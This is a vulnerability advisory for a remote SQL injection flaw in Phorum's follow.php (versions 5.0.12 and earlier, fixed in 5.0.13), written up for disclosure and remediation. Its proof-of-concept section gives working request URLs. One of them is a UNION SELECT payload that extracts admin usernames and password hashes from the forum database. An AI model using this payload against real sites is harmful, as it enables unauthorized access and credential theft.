Phorum FOLLOW.PHP SQL Injection Vulnerability

BID:11660

Info

Phorum FOLLOW.PHP SQL Injection Vulnerability

Bugtraq ID: 11660
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 11 2004 12:00AM
Updated: Nov 11 2004 12:00AM
Credit: Janek Vind <[email protected]> disclosed this vulnerability.
Vulnerable: Phorum Phorum 5.0.12
Phorum Phorum 5.0.11
Phorum Phorum 5.0.10
Phorum Phorum 5.0.9
Phorum Phorum 5.0.7 BETA
Phorum Phorum 5.0.3 BETA
Not Vulnerable: Phorum Phorum 5.0.13

Discussion

Phorum FOLLOW.PHP SQL Injection Vulnerability

Reportedly Phorum is affected by a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitized user supplied URI input.

This issue allows remote attackers to manipulate query logic, leading to unauthorized access to sensitive information such as the user password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

This issue has been reported to affected versions prior to 5.0.13.

Exploit / POC

Phorum FOLLOW.PHP SQL Injection Vulnerability

Examples sufficient to exploit this vulnerability have been provided:

http://www.example.com/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe
http://www.example.com/phorum5012/follow.php?forum_id=1&thread=waraxe
http://www.example.com/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1

Solution / Fix

Phorum FOLLOW.PHP SQL Injection Vulnerability

Solution:
The vendor has released version 5.0.13 of the affected package to resolve this issue:


Phorum Phorum 5.0.10

Phorum Phorum 5.0.11

Phorum Phorum 5.0.12

Phorum Phorum 5.0.3 BETA

Phorum Phorum 5.0.7 BETA

Phorum Phorum 5.0.9

References

Phorum FOLLOW.PHP SQL Injection Vulnerability

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